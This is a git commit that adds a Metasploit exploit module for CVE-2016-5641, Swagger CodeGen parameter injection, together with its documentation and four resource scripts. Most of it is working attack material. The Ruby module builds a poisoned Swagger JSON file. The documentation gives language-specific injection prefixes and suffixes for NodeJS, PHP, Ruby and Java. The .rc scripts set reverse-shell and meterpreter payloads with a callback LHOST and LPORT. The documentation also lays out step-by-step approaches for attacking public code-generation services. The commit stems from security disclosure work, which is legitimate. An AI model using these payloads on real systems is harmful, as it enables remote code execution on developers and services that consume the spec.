CVE-2016-5641

bug/bundler_fix
Scott Davis 2016-06-23 06:09:37 -07:00
parent 048741660c
commit 47e4321424
6 changed files with 334 additions and 0 deletions

View File

@ -0,0 +1,134 @@
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
## Verification Steps
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
1. Start msfconsole
2. Start a callback handler listening for a the appropriate payload (e.g.)
```
use exploit/multi/handler
set PAYLOAD nodejs/shell_reverse_tcp
set LHOST 192.168.68.138
set LPORT 4444
run
```
3. Pick a target
## Targets
**NodeJS**
This attack looks to inject a payload into javascript by terminating a URL path string, and placing code inline without causing runtime errors.
[nodejs-codegen](nodejs-codegen.rc)
```
set PAYLOAD nodejs/shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set INFO_VERSION "1.0.0"
set PAYLOAD_LOC "PATH"
set PAYLOAD_PREFIX "/a');};};return exports;}));"
set PAYLOAD_SUFFIX "(function(){}(this,function(){a=function(){b=function(){new Array('"
run
```
**PHP**
This attack takes advantage of injection of variables into multiline comment area.
[php-codegen](php-codegen.rc)
```
set PAYLOAD php/meterpreter/reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_PREFIX "*/ namespace foobar; eval(base64_decode('"
set PAYLOAD_SUFFIX "')); /*"
run
```
**Ruby**
This attack takes advantage of injection of variables into multiline comment area.
[ruby-codegen](ruby-codegen.rc)
```
set PAYLOAD ruby/shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_LOC "INFO_TITLE"
set PAYLOAD_PREFIX "=end "
set INFO_DESCRIPTION "=begin "
run
```
**Java**
This attack looks to inject a payload into javascript by terminating a URL path string, and placing code inline without causing runtime errors.
[java-codegen](java-codegen.rc)
```
set PAYLOAD java/jsp_shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_LOC "PATH"
set PAYLOAD_PREFIX "a\\\"; "
run
```
## Quick Test
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
## Scenarios
Effective against services with either these dependencies
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
* public API [generator.swagger.io](http://generator.swagger.io/)
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
**Possible Attack approach.**
1. Research the target environment and component dependencies.
2. Setup appropriate payload callback listener.
3. generate the appropriate swagger document with associated MS payload (see above for examples)
**Against a webservice (2nd order attack / blind code-gen)**
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
5. Wait for callback handler event.
**Against a code repository or public hosting of spec**
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
5. Wait for callback handler event.

View File

@ -0,0 +1,11 @@
set PAYLOAD java/jsp_shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_LOC "PATH"
set PAYLOAD_PREFIX "a\\\"; "
set LHOST 192.168.68.138
set LPORT 4444
run

View File

@ -0,0 +1,13 @@
set PAYLOAD nodejs/shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set INFO_VERSION "1.0.0"
set PAYLOAD_LOC "PATH"
set PAYLOAD_PREFIX "/a');};};return exports;}));"
set PAYLOAD_SUFFIX "(function(){}(this,function(){a=function(){b=function(){new Array('"
set LHOST 192.168.68.138
set LPORT 4444
run

View File

@ -0,0 +1,11 @@
set PAYLOAD php/meterpreter/reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_PREFIX "*/ namespace foobar; eval(base64_decode('"
set PAYLOAD_SUFFIX "')); /*"
set LHOST 192.168.68.138
set LPORT 4444
run

View File

@ -0,0 +1,12 @@
set PAYLOAD ruby/shell_reverse_tcp
use exploit/multi/fileformat/swagger_param_inject
set PAYLOAD_LOC "INFO_TITLE"
set PAYLOAD_PREFIX "=end "
set INFO_DESCRIPTION "=begin "
set LHOST 192.168.68.138
set LPORT 4444
run

View File

@ -0,0 +1,153 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
require 'base64'
#
# Project
#
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'JSON Swagger CodeGen Parameter Injector',
'Description' => %q{
This module generates a Open API Specification 2.0 (Swagger) compliant json
document that includes payload insertion points in parameters.
In order for the payload to be executed, an attacker must convince someone to
open a specially modified swagger.json file with with a vulnerable swagger-codgen
appliance/container/api/service. By doing so, an attacker can
execute arbitrary code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ethersnowman <scott_davis@rapid7.com>'
],
'References' =>
[
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
],
'Platform' => %w{ nodejs php java linux ruby },
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 23 2016',
'DefaultTarget' => 0))
register_options(
[
OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']),
OptPort.new('LPORT', [true, 'Server port.']),
OptString.new('PAYLOAD', [false, 'Payload Injection']),
OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']),
OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']),
OptString.new('PAYLOAD_LOC', [false, 'Payload insertion point','INFO_DESCRIPTION']),
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
OptString.new('INFO_VERSION', [true, 'Swagger info version.', 'B']),
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4', 'X.Y.Z.xyz']),
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
], self.class)
end
def swagger
%Q(
{
"swagger": "2.0",
"info": {
"description": "#{datastore['INFO_DESCRIPTION']}",
"version": "#{datastore['INFO_VERSION']}",
"title": "#{datastore['INFO_TITLE']}"
},
"schemes": [
"#{datastore['SWAGGER_SCHEME']}"
],
"host": "#{datastore['SWAGGER_HOST']}",
"basePath": "#{datastore['BASE_PATH']}",
"produces": [
"application/json"
],
"consumes": [
"application/json"
],
"paths": {
"#{datastore['PATH']}": {
"get": {
"description": "#{datastore['PATH_DESCRIPTION']}",
"responses": {
"200": {
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
"schema": {
"$ref": "#/definitions/d"
}
}
}
}
}
},
"definitions": {
"d": {
"type": "object",
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
"properties": {
"id": {
"type": "integer",
"format": "int64"
}
}
}
}
}
)
end
def exploit
if datastore['PAYLOAD']
case payload.arch[0]
when 'nodejs'
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
payload.encoded + datastore['PAYLOAD_SUFFIX']
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload.gsub(/"/, '\\"')
when 'php'
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
Base64.strict_encode64(payload.encoded) +
datastore['PAYLOAD_SUFFIX']
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload
when 'ruby'
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
payload.encoded + datastore['PAYLOAD_SUFFIX']
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload
when 'java'
p = payload.encoded.gsub(/<%@page import="/, 'import ')
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
p + datastore['PAYLOAD_SUFFIX']
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload
else
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
payload.encoded + datastore['PAYLOAD_SUFFIX']
datastore[datastore['PAYLOAD_LOC']] = wrapped_payload
end
end
print_status swagger
file_create swagger
end
end